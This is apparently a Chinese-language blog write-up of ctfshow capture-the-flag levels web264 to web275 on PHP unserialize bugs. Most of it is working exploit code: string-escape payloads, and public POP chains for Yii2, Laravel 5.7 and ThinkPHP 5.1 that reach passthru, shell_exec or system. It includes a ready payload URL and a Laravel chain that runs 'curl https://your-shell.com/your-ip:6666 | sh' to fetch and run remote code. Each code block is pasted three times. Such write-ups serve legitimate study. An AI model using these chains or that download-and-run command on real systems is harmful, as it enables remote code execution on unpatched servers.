前言
最近开python的re模块 那个学烦了就继续打靶
Web264
拿到index.php直接去访问message.php 构造exp
index.php
![图片[1],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240211175915525.png?imageView2/0/format/webp/q/75)
接着访问message.php
![图片[2],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240211175956678.png?imageView2/0/format/webp/q/75)
如262类似 但我尝试了262的方法没法一步到位了
只能从Index.php->message.php了
运用到字符串逃逸的知识
web264->字符串逃逸
我们构造一个exp本地测试一下
<?phpclass message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$msg = new message("1","2",'fuck');$umsg = str_replace('fuck', 'loveU', serialize($msg));// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}echo serialize($msg);echo "\n";// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}echo $umsg;?><?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuck'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";} echo serialize($msg); echo "\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";} echo $umsg; ?><?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuck'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";} echo serialize($msg); echo "\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";} echo $umsg; ?>
先替换一波将fuck->loveU发现长度未变 但内容发生改变
这样替换后只会截取love而不会截取U逃匿出来就有U
![图片[3],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212050148716.png?imageView2/0/format/webp/q/75)
接着我们替换闭合”和}
![图片[4],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212102507619.png?imageView2/0/format/webp/q/75)
发现位数等于31
所以我们要把他的位数对齐才能正常反序列化过来
替换fuck一直到位数到齐
![图片[5],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212102834998.png?imageView2/0/format/webp/q/75)
![图片[6],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212102758326.png?imageView2/0/format/webp/q/75)
此时}”后面的会被舍弃 我们的user就能变成admin
访问message.php根据题目要求
![图片[7],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212104456334.png?imageView2/0/format/webp/q/75)
![图片[8],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212104506335.png?imageView2/0/format/webp/q/75)
我们再次进行url+base64编码 手动设置cookie
最终exp
<?phpclass message{public $from;public $msg;public $to;public $token;public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');$umsg = str_replace('fuck', 'loveU', serialize($msg));$p=serialize($msg);// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}//echo serialize($msg);print_r($p);print_r(unserialize($p))."\n";// O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}echo urlencode(base64_encode($umsg));//?><?php class message{ public $from; public $msg; public $to; public $token; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $p=serialize($msg); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} //echo serialize($msg); print_r($p); print_r(unserialize($p))."\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} echo urlencode(base64_encode($umsg)); //?><?php class message{ public $from; public $msg; public $to; public $token; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $p=serialize($msg); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} //echo serialize($msg); print_r($p); print_r(unserialize($p))."\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} echo urlencode(base64_encode($umsg)); //?>
![图片[9],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212104529837.png?imageView2/0/format/webp/q/75)
web265
![图片[10],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212110332182.png?imageView2/0/format/webp/q/75)
分析一波
![图片[11],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212110457811.png?imageView2/0/format/webp/q/75)
mt_rand是不是很熟悉 在爆破那里我们遇见了 生成随机种子
我们只能控制一个参数 这样就导致二者不相等 所以我们需要php中的引用即c语言里面的指针
使用&将password指向token
exp:
<?phpclass ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = &$this->token;}public function login(){return $this->token===$this->password;}}$p=new ctfshowAdmin('1','1');print_r(serialize($p));?><?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = &$this->token; } public function login(){ return $this->token===$this->password; } } $p=new ctfshowAdmin('1','1'); print_r(serialize($p)); ?><?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = &$this->token; } public function login(){ return $this->token===$this->password; } } $p=new ctfshowAdmin('1','1'); print_r(serialize($p)); ?>
![图片[12],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212111708952.png?imageView2/0/format/webp/q/75)
![图片[13],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212111719811.png?imageView2/0/format/webp/q/75)
Web266
![图片[14],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240212133009942.png?imageView2/0/format/webp/q/75)
绕过错误正确执行销毁就可
![图片[15],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213004901734.png?imageView2/0/format/webp/q/75)
没有加i 直接改个大小写即可
exp:
<?phpclass ctfshow{public $username = 'xxxxxx';public $password = 'xxxxxx';}$p=new ctfshow();print_r(serialize($p));?><?php class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; } $p=new ctfshow(); print_r(serialize($p)); ?><?php class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; } $p=new ctfshow(); print_r(serialize($p)); ?>
![图片[16],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213010019891.png?imageView2/0/format/webp/q/75)
Web267
![图片[17],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213010127676.png?imageView2/0/format/webp/q/75)
登录界面
![图片[18],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213011647670.png?imageView2/0/format/webp/q/75)
尝试弱密码登录 admin->admin
![图片[19],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213011707262.png?imageView2/0/format/webp/q/75)
登录之后查看about
![图片[20],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213011855839.png?imageView2/0/format/webp/q/75)
yii框架 因为是 2020年的CVE 而且大都已更新 历史遗留资产也很少没有复现 就套了别人的POC
https://blog.csdn.net/weixin_44576725/article/details/123986819
![图片[21],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213011957814.png?imageView2/0/format/webp/q/75)
根据
![图片[22],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213013218934.png?imageView2/0/format/webp/q/75)
源代码中的提示
![图片[23],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213013232470.png?imageView2/0/format/webp/q/75)
发现页面提示在/backdoor/shell里
反序列化get后的code
![图片[24],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213013353136.png?imageView2/0/format/webp/q/75)
因为是公开漏洞 这里就用别人的反序列化的pop链子 让咱写咱也不会呀(
pop链: system等无回显用passthru代替(之前我们也见过
$this->checkAccess = ‘passthru’; 具体执行的命令函数
$this->id = ‘cat /flag’; 具体内容
<?phpnamespace yii\db {use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new DbSession();}}}namespace yii\web {use yii\rest\IndexAction;class DbSession{public function __construct(){$a = new IndexAction();$this->writeCallback = [$a, 'run'];;}}}namespace yii\rest {class IndexAction{public function __construct(){$this->checkAccess = 'passthru';$this->id = 'cat /flag';}}}namespace {use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));}?><?php namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } } } namespace yii\web { use yii\rest\IndexAction; class DbSession { public function __construct() { $a = new IndexAction(); $this->writeCallback = [$a, 'run'];; } } } namespace yii\rest { class IndexAction { public function __construct() { $this->checkAccess = 'passthru'; $this->id = 'cat /flag'; } } } namespace { use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?><?php namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } } } namespace yii\web { use yii\rest\IndexAction; class DbSession { public function __construct() { $a = new IndexAction(); $this->writeCallback = [$a, 'run'];; } } } namespace yii\rest { class IndexAction { public function __construct() { $this->checkAccess = 'passthru'; $this->id = 'cat /flag'; } } } namespace { use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?>
payload:
http://3974edc7-81bd-4cfa-975d-47a6608d7d2c.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fQ==http://3974edc7-81bd-4cfa-975d-47a6608d7d2c.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fQ==http://3974edc7-81bd-4cfa-975d-47a6608d7d2c.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fQ==
![图片[25],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213125250299.png?imageView2/0/format/webp/q/75)
Web268
![图片[26],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213125445139.png?imageView2/0/format/webp/q/75)
查清目录后cp到3.txt
最终pop链
<?phpnamespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){// $this->checkAccess = 'phpinfo';// $this->id = '1';$this->checkAccess = 'shell_exec';// $this->id = 'ls / | tee 1.txt'; #先查出flag位置再获取$this->id = 'cp /flags 3.txt';}}}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){// 这里需要改为isRunning$this->formatters['isRunning'] = [new CreateAction(), 'run'];}}}// poc2namespace Codeception\Extension{use Faker\Generator;class RunProcess{private $processes;public function __construct(){$this->processes = [new Generator()];}}}namespace{// 生成pocecho base64_encode(serialize(new Codeception\Extension\RunProcess()));}?><?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ // $this->checkAccess = 'phpinfo'; // $this->id = '1'; $this->checkAccess = 'shell_exec'; // $this->id = 'ls / | tee 1.txt'; #先查出flag位置再获取 $this->id = 'cp /flags 3.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?><?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ // $this->checkAccess = 'phpinfo'; // $this->id = '1'; $this->checkAccess = 'shell_exec'; // $this->id = 'ls / | tee 1.txt'; #先查出flag位置再获取 $this->id = 'cp /flags 3.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
![图片[27],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213125837524.png?imageView2/0/format/webp/q/75)
Web269-Web270
与267到这的大体一样均为yii漏洞框架 flag的名字不一样 这里省略了
Web271-Web273
![图片[28],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213135824106.png?imageView2/0/format/webp/q/75)
这里的黄色内容应该是提示
![图片[29],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213135913950.png?imageView2/0/format/webp/q/75)
Laravelv5.7漏洞 2019年左右的PHP框架漏洞 网上公开了 POC
我们复现一下反序列化链子
<?phpnamespace Illuminate\Foundation\Testing {class PendingCommand{public $test;protected $app;protected $command;protected $parameters;public function __construct($test, $app, $command, $parameters){$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application$this->command = $command; //要执行的php函数 system$this->parameters = $parameters; //要执行的php函数的参数 array('id')}}}namespace Faker {class DefaultGenerator{protected $default;public function __construct($default = null){$this->default = $default;}}}namespace Illuminate\Foundation {class Application{protected $instances = [];public function __construct($instances = []){$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;}}}namespace {$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));$app = new Illuminate\Foundation\Application();$application = new Illuminate\Foundation\Application($app);$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh'));echo urlencode(serialize($pendingcommand));}<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh')); echo urlencode(serialize($pendingcommand)); }<?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh')); echo urlencode(serialize($pendingcommand)); }
![图片[30],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213141807659.png?imageView2/0/format/webp/q/75)
![图片[31],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213141829424.png?imageView2/0/format/webp/q/75)
Web274
![图片[32],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213141926412.png?imageView2/0/format/webp/q/75)
好熟悉,也好老
![图片[33],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213141957842.png?imageView2/0/format/webp/q/75)
源代码中反序列化GET接受data
复现一下 thinkphp5.1
Poc链子
<?phpnamespace think;abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}}class Request{protected $hook = [];protected $filter = "system"; //PHP函数protected $config = [// 表单ajax伪装变量'var_ajax' => '_ajax',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin']; //PHP函数的参数$this->hook = ["visible"=>[$this,"isAjax"]];}}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{private $files = [];public function __construct(){$this->files=[new Pivot()];}}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?><?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; //PHP函数 protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; //PHP函数的参数 $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?><?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; //PHP函数 protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; //PHP函数的参数 $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>
&lin后跟执行的命令
![图片[34],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213142638423.png?imageView2/0/format/webp/q/75)
发现在根目录 直接拿flag
好
![图片[35],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213142734865.png?imageView2/0/format/webp/q/75)
Web275
![图片[36],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213142830797.png?imageView2/0/format/webp/q/75)
突破点在system
![图片[37],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213153527569.png?imageView2/0/format/webp/q/75)
如果evilfile为true就执行system删除filename但是可以执行后面的内容用;分隔即可
post都不用传
![图片[38],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213153844121.png?imageView2/0/format/webp/q/75)
直接拿flag
![图片[39],PHP serialize&unserialize Study writeup(4),网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/02/20240213153919737.png?imageView2/0/format/webp/q/75)
暂无评论内容